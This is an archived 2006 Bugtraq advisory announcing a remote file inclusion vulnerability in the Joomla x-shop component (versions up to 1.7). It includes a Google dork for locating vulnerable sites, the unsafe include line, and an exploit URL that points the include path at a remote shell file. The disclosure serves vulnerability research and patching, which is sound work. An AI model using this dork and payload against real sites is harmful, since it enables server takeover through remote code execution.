| lists.openwall.net | lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 | |
|
Open Source and information security mailing list archives
| ||
|
Date: 18 Aug 2006 10:04:39 -0000 From: crackers_child@...ersavascilar.com To: bugtraq@...urityfocus.com Subject: Joomla x-shop <= 1.7 Remote File Include Vulnerability !!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!! -------------------------------------------------------------------------------- Title : Joomla x-shop <= 1.7 Remote File Include Vulnerability -------------------------------------------------------------------------------- #Author: Crackers_Child #cont@... crackers_child@...ersavascilar.com -------------------------------------------------------------------------------- Google Dorks : allinurl:"/com_x-shop/" ------------------------- ------------------------------------------------------- Download : http://mamboxchange.com/frs/?group_id=187&release_id=1047 -------------------------------------------------------------------------------- Bug in admin.x-shop.php <? include($mosConfig_absolute_path.'/administrator/components/com_x-shop/languages/'.$mosConfig_lang.'.php'); session_start(); -------------------------------------------------------------------------------- Exploit: http://www.site.com/joomla_path/administrator/components/com_x-shop/admin.x-shop?mosConfig_absolute_path=Shell.txt? -------------------------------------------------------------------------------- greets: All My Friends And SiberSavascilar.Com Members ! -------------------------------------------------------------------------------- --------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------